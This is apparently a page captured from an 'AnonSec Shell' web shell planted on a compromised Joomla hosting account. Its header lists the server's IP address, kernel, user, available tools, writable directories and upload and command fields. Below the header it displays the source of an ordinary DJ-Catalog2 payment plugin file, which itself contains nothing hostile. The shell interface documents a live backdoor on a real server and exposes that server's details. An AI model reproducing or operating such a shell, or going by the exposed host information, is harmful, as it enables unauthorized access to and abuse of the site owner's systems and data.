AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/plugins/djcatalog2payment/standard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/plugins/djcatalog2payment/standard/standard.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

//jimport('joomla.plugin.plugin');

class plgDjcatalog2paymentStandard extends JPlugin {
	
	public function __construct(&$subject, $config = array())
	{
		parent::__construct($subject, $config);
		$this->loadLanguage();
	}
	
	protected function isAllowed($plgInfo, $type = 'djcatalog2payment') {
		if (empty($plgInfo)) return  false;
		return (bool)($plgInfo->plugin == $this->_name && $this->_type == $type);
	}
	
	public function onContentPrepareForm($form, $data) {
		if ($form->getName() != 'com_djcatalog2.payment') {
			return ;
		}
		
		$plugin = '';
		
		if (!empty($data) && !empty($data->plugin)) {
			$plugin = $data->plugin;
		} else {
			$jform = JFactory::getApplication()->input->get('jform', array(), 'array');
			if (!empty($jform) && isset($jform['plugin'])) {
				$plugin = $jform['plugin'];
			}
		}
		
		if ($plugin != $this->_name) {
			return true;
		}
		
		return $form->loadFile(dirname(__FILE__).DIRECTORY_SEPARATOR.'config'.DIRECTORY_SEPARATOR.'configuration.xml', false);
	}
	
	public function onDJC2BeforeSaveOrder($context, $table, $isNew, $plgInfo) {
		if ($context != 'com_djcatalog2.checkout.payment' || !$this->isAllowed($plgInfo)) {
			return;
		}
		
		if ($plgInfo->params->get('proforma')) {
			$days = (int)$plgInfo->params->get('paymentDate', 3);
			$days = max(0, $days);
			$date = JFactory::getDate((time() + (86400 * $days)));
			$table->payment_date = $date->toSql(true);
		}
		
	}
	
	public function onDJC2AfterSaveOrder($context, $table, $isNew, $plgInfo) {
		if ($context != 'com_djcatalog2.checkout.payment' || !$this->isAllowed($plgInfo)) {
			return;
		}
	}
	
	public function onDJC2CheckoutDetailsDisplay($context, $plgInfo) {
		if ($context != 'com_djcatalog2.checkout.payment' || !$this->isAllowed($plgInfo)) {
			return;
		}
		
		$html = '';
		if (trim(strip_tags($plgInfo->description)) != '' ) {
			$html = '<h4>'.$plgInfo->name.'</h4>';
			$html .= $plgInfo->description;
		}
		return $html;
	}
	
	public function onDJC2OrderDetailsDisplay($context, $order, $plgInfo) {
		if ($context != 'com_djcatalog2.order.payment' || !$this->isAllowed($plgInfo)) {
			return;
		}
        
        if ($order->status != 'A' && $order->status != 'N') {
            return;
        }
		
		$html = '';
		if (trim(strip_tags($plgInfo->description)) != '' || $plgInfo->params->get('proforma')) {
			$html = '<h4>'.$plgInfo->name.'</h4>';
			$html .= '<div>'.$plgInfo->description.'</div>';
            
			if ($plgInfo->params->get('proforma') && $this->importTCPDF(false)) {
                $paymentUrl = JRoute::_('index.php?option=com_djcatalog2&task=paymentProcess&oid='.$order->id.'&plg='.$plgInfo->plugin.'&plgid='.$plgInfo->id);
                $html .= '<a href="'.$paymentUrl.'" class="button btn proformabtn">'.JText::_('PLG_DJCATALOG2PAYMENT_STANDARD_PROFORMA_BTN').'</a>';
            }
		}
		
		if (trim(strip_tags($plgInfo->params->get('paymentInstructions'))) != '') {
			if ($html == '') {
				$html = '<h4>'.$plgInfo->name.'</h4>';
			}
			
			$description = $this->replaceDescriptionTags($plgInfo->params->get('paymentInstructions'), $order);
			$html .= '<div>' . $description . '</div>';
		}
        
		return $html;
	}
	
	public function onEmailAfterPaymentDisplay($context, $data, $plgInfo) {
		if ($context != 'com_djcatalog2.cart.confirm' || !$this->isAllowed($plgInfo)) {
			return;
		}
		
		$html = '';
		
		if (trim(strip_tags($plgInfo->params->get('paymentInstructionsEmail'))) != '') {
			$order = Joomla\Utilities\ArrayHelper::toObject($data);
			$description = $this->replaceDescriptionTags($plgInfo->params->get('paymentInstructionsEmail'), $order);
			$html .= '<div>' . $description . '</div>';
		}
		
		return $html;
	}
	
    public function onDJC2PaymentProcess($context, $order, $plgInfo) {
        if ($context != 'com_djcatalog2.order.payment' || !$this->isAllowed($plgInfo)) {
            return;
        }
        
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        if ($user->id != $order->user_id || $user->guest) {
        	$token = $app->getUserStateFromRequest('com_djcatalog2.order.token', 'token', null, 'string');
        	if ((strcmp($token, $order->token) !== 0) || $order->token ==  '') {
        		throw new Joomla\CMS\MVC\View\GenericDataException(JText::_('JERROR_ALERTNOAUTHOR'), 403);
        	}
        }
        
        if (!$this->importTCPDF(true)) {
        	return;
        }
        
        $filename = $order->order_number.'-proforma.pdf';
        
        $pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
        
        $pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
        $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
        $pdf->setFontSubsetting(true);
        
        $pdf->SetFont('freesans', '', 9, '', true);
        $pdf->SetPrintHeader(false);
        $pdf->SetPrintFooter(true);
        $pdf->SetFooterMargin('15px');
        
        $pdf->AddPage();
        $pdf->_intCurPage = 1;
        $pdf->_intFootNo = '';
        $html = DJCatalog2HtmlHelper::getThemeLayout($order, 'proforma', 'pdf');
        $pdf->writeHTML($html, true, false, true, false, '');
        
        $pdf->Output($filename, 'D');
        $app->close();
    }
    
    public function onDJC2EmailAfterPaymentDisplay($context, $order, $plgInfo) {
    	if ($context != 'com_djcatalog2.order.payment' || !$this->isAllowed($plgInfo)) {
    		return;
    	}
    	
    	if ($order->status != 'A' && $order->status != 'N') {
    		return;
    	}
    	
    	$html = '';
    	if (trim(strip_tags($plgInfo->params->get('paymentInstructions'))) != '') {
    		$description = $this->replaceDescriptionTags($plgInfo->params->get('paymentInstructions'), $order);
    		$html .= '<div>' . $description . '</div>';
    	}
    	
    	return $html;
    }
    
    protected function getProforma($data, $plgInfo) {
    	return DJCatalog2HtmlHelper::getThemeLayout($data, 'proforma', 'pdf');
    }
    
    protected function importTCPDF($require = false) {
    	$libfile = JPATH_LIBRARIES . '/tcpdf/tcpdf.php';
    	if (JFile::exists($libfile) == false) {
    		return false;
    	}
    	
    	if ($require) {
    		require_once $libfile;
    	}
    	
    	return true;
    }
    
    protected function replaceDescriptionTags($description, $order) {
    	$cParams = JComponentHelper::getParams('com_djcatalog2');
    	
    	$description = str_replace('[[order_number]]', $order->order_number, $description);
    	$description = str_replace('[[email]]', $order->email, $description);
    	$description = str_replace('[[grand_total]]', DJCatalog2HtmlHelper::formatPrice($order->grand_total, $cParams), $description);
    	
    	return $description;
    }
}



Anon7 - 2022
AnonSec Team